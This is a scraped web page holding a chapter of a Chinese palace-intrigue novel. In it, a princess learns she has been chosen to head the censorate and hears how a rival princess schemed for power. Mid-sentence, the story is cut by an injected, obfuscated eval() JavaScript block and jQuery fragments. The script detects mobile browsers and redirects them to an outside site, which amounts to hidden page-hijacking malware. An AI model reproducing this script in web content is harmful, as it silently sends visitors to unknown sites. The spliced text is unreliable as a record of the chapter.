默认冷灰
24号文字
方正启体

33. 权力

作者:文斯珈本书字数:K更新时间:
    “许昭容,无视圣旨,罚思过一月,无旨不可擅出。”


    最终李仞拂袖而去,不知是一肚子火还是一肚子气。


    阿颂走的慢些,在李仞出门后她才往外走,她看见嫔妃们在皇后站起来后也一个接一个的站起来,看见叶静慈和卢诗月互相瞧不上眼,看见卢诗月剜了许南书一眼,这使得阿颂愈发坚信她的直觉,叶静慈和卢诗月永远不会是盟友,她们这么做一定有她们的目的。


    冲她来的,即便损耗君心也要这么做,却又没结果,到底为什么呢?


    送阿颂回故云阁这件事自然还是杜寒英的,阿颂有一箩筐的问题要问杜寒英,她觉得这样的日子过着实在是刺激极了,就像在黑夜里找煤炭,在染缸里找颜色,福不是福,祸不是祸。


    “殿下慢走。”


    是得走慢些,否则说句话的功夫都没有。


    起初两个人谁都没有先说话,宫里的局势不明朗,再加上明华宫那齐齐整整的一跪,阿颂没有把握比杜寒英更能明白什么时候该说话,什么时候不该说话。


    路过长春宫,阿颂本能地往远处躲了躲,杜寒英捕捉到她这一举动,开口说了今日见面后的第一句话:“你掉进了别人设的局。”


    阿颂“嗯”道:“多谢你提醒我,不过已经晚了。”


    杜寒英:“如何?”


    阿颂:“什么如何?”


    杜寒英:“被别人设计的感觉如何?”


    阿颂“哼”道:“很不错,从进明华宫到出明华宫我话都没说,大获全胜。”


    “大获全胜?”杜寒英则道,“不见得吧,我的殿下。”


    “看起来,我大获全胜,不是么?”


    “是,看起来,大获全胜。”


    “君恩似海似山,稍不留意就只有死路,今日看着是皇上维护我,驳了皇后贵妃的面子,但其实上,今日只有云贤妃和李青兰受罚,而我自始至终都只是一块磨刀石。”


    “辅天阁的断言竟没有一句是虚的。”


    “什么?”


    杜寒英握剑的手紧了紧,大拇指摩挲着剑柄,那颗嵌进去的宝石依旧明亮:“你知道御史台最终是谁的吗?”


    阿颂不以为意,对她来说是谁的都不是好事,其中危险半斤八两:“我猜是三皇子或者四皇子的。”


    “不,都不是,再猜。”


    “不是?”


    阿颂微微震惊:“难道是二皇子?不会是五皇子,但凡辅天阁有一个明白事理的就不会选五皇子。”


    杜寒英摇摇头。


    “还不是?”阿颂迫使自己静下心来想,“那就不是权势大的,也不会是年岁小的,六皇子或者七皇子?”


    杜寒英还是摇头。


    阿颂猜不到也不敢猜了:“要皇族坐镇,又不在这几位皇子中,总不会是恒王……所以是谁?还有谁是我没想到的?”


    杜寒英比她先知道这件事,比她先知道她究竟回宫做什么,花山脚下杜寒英就是同情大过怨恨的,如今这份同情只增不减,众矢之的的结局要么睥睨天下,要么死无全尸。


    “身份是中宫嫡出,武有撼不动的镇北军,文有辅天阁八公之首的悯苍公,驸马是御前将军,公爹也在辅天阁八公之中,回宫月余恩宠无人可及,年夜宴上风头无二众矢之的,夫家自诩清流,无结党营私的可能,她的师承她自己的本性不允许她有背叛的可能,她是一个永远不会背叛花朝的人,而刚刚我说的那些人不会背叛她,那么,有了她和有了天下没有区别。”


    阿颂刹住脚步,她看着前方本该走过去的那段路,脑中却一片空白,杜寒英的话她听的明白,很明白,那被众人疯抢的御史台已是她的囊中之物,她想了许久的危险没有到来,来了花朝自开朝以来第一位在朝的女官,来了多少人梦寐以求的权力。


    “呵,呵,呵哈哈哈哈哈,”阿颂笑出声,“为什么?为什么是我?哦不不不,原因你已经说过了,可是,为什么?为什么会是我?”


    杜寒英回答不了这个问题,天底下许多人都想问为什么是她,平民百姓想问,达官贵臣想问,皇子皇女想问,后宫嫔妃想问,可没有一个人问的和她问的是一样的。


    为什么是她,去花山前杜寒英曾问过父亲,杜公叹了又叹,说:“因为她是废太子一母同胞的亲妹妹,是悯苍公的学生,是萧将军的甥女,这就够了,再没有几个人能有这样的身份。”


    什么样的身份?一个十六年来终日与山花云舞天地日月风霜雨雪相伴的人,一个天底下顶数干净纯澈的人,就这么因为一个太子的陨落,一个位子的争抢,一群人的野心,从自然走进樊笼,没得选,不能选,这比选了却失败了更让人难以接受。


    那时杜寒英初次听闻阿颂的身世身份,此刻这个对黄泉来说天时地利的人就在他面前,甚至不久之后他们将共进退,可他依旧看不懂也看不透她,同时他觉得他配不上她,配不上她这玩笑一般郑重其事的命运。


    “殿……青……唉,是啊,为什么……”


    “我以为会是别的什么,和亲,联姻,挡刀,杀人,我没想到竟然会是这样,杜寒英,我想知道去议事的那些人是不是都觉得我可以?”


    杜寒英点点头:“或者说他们觉得悯苍公可以,可以刚正不阿,可以冷面一张,不会收受行贿,不会有所偏颇,更不会后退一步。”


    “若是我退了呢?若是我怯懦了呢?我不是悯苍公,他们该请老师来,而不是我,我甚至上不得台面,何来登上那御史台。”


    “可你已经上台了。”


    阿颂不明白,偏过头:“什么?”


    “李青兰犯了什么错,你猜得到是什么吗?”


    阿颂摇摇头。


    “做官,做花朝第一位女官,得权,然后一步步走向权利中心,最好是能与几位皇子较个输赢。为此她从几年前就开始谋划,先是在春围放榜后想办法跑出宫,假意意外结识那一科的探花郎周淮安,才有了一见倾心。”


    阿颂渐渐睁大眼睛,满心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828624|158853||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不解。


    “继而有了那场公主出降,人人称赞的姻缘,花前月下,公主高官。婚后她常常出入宫墙,有时在云贤妃处,有时在明华宫,还有时会出现在朝晖殿,她几方游说,使得新婚驸马没多久就坐到了左都御史的位子,也是她劝谏皇上说御史台该有位不怕得罪人的皇子坐阵,那是因为她想做,而高位者只这个官职能有所突破。”


    “御史台是历史的名字,我朝御史台叫做鉴议院,鉴议院本设有院正,院正便是左都御史周淮安。”


    鉴议院,阿颂当然知道,废太子的东宫之位不就是鉴议院一封一封的奏折的结果吗?阿颂没有牵怪的意思,她只想说这个地方很厉害。


    “青兰公主确实很厉害,在她的授意下,鉴议院风往一边吹,其他皇子多少年都没做成的事她做到了,太子下位,东宫空悬,太子之位让皇子们逐渐失去了面子上的和谐,明争与暗斗从东宫空了的那刻起一股脑全冒出来。然而青兰公主并不着急,因为她知道皇子们在就没有她的机会,她自以为掌控了鉴议院,还把太子拉下马来,对她来说已经很满意,当然,其他人不知是她做的更让她满意,她就像是一切背后的那双手,兴奋又冷静地掌控着一切。”


    “可是我回来了。”


    “是,你回来了,没有你,皇子们厮杀攀咬,怎么都好,她觉得可以掌控,可你回来,她的一切就出现了裂痕,她不允许。”


    “她想杀了我。”


    “不错,既然你是意料之外的,那她不介意费些心思,多除掉一个人,除掉你,说不定就又变回了她‘一切’。”


    “她终究恨错了人。”


    “在我们看来是这样,可在她看来她没有恨错,她心高气傲,骨子里便瞧不上那些皇子,她虽是贤妃娘娘所出,可她是第一位公主,又与中宫亲睦些,她自觉可以与皇子们一较高下。不知她是从什么时候开始筹划一切的,只知道,在她看来皇子们就是他们平素的模样,即便像外头人们说的有几分心计手段也不过几本兵法,几页古书,几分野心,她不一样,花朝也需要一个不一样的圣主,一如她没说出口却被老百姓放在你身上的‘女帝治世’。”


    “那个位子真的有那么好吗?”


    这个问题杜寒英可以回答:“公主今日在明华宫见到了什么?”


    阿颂:“……君权。”


    “君权神授,君者,天人也,而天,至高尚也,那个位子好吗?或许逍遥人觉得那就是个笼子,逃不开,舍不掉,可对想拥有权力的人来说,那就是至胜之宝,一句话甚至一个眼神就能断人生死,断一族生死。就像三年一期的恩科考试,当官好吗?不知道,有的人——像我,生来就躺在那身官袍上,有的人——像周淮安,像许许多多古稀之年还在考的人,说不来他们是因为什么,一次次跋涉千里,来赴京师,又一次次折返。我不能说那个位子好或是不好,古人云,人各有志,但我知道你如今背在身上的,是别人的志向。”


    是解不开又逃不掉的一辈子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)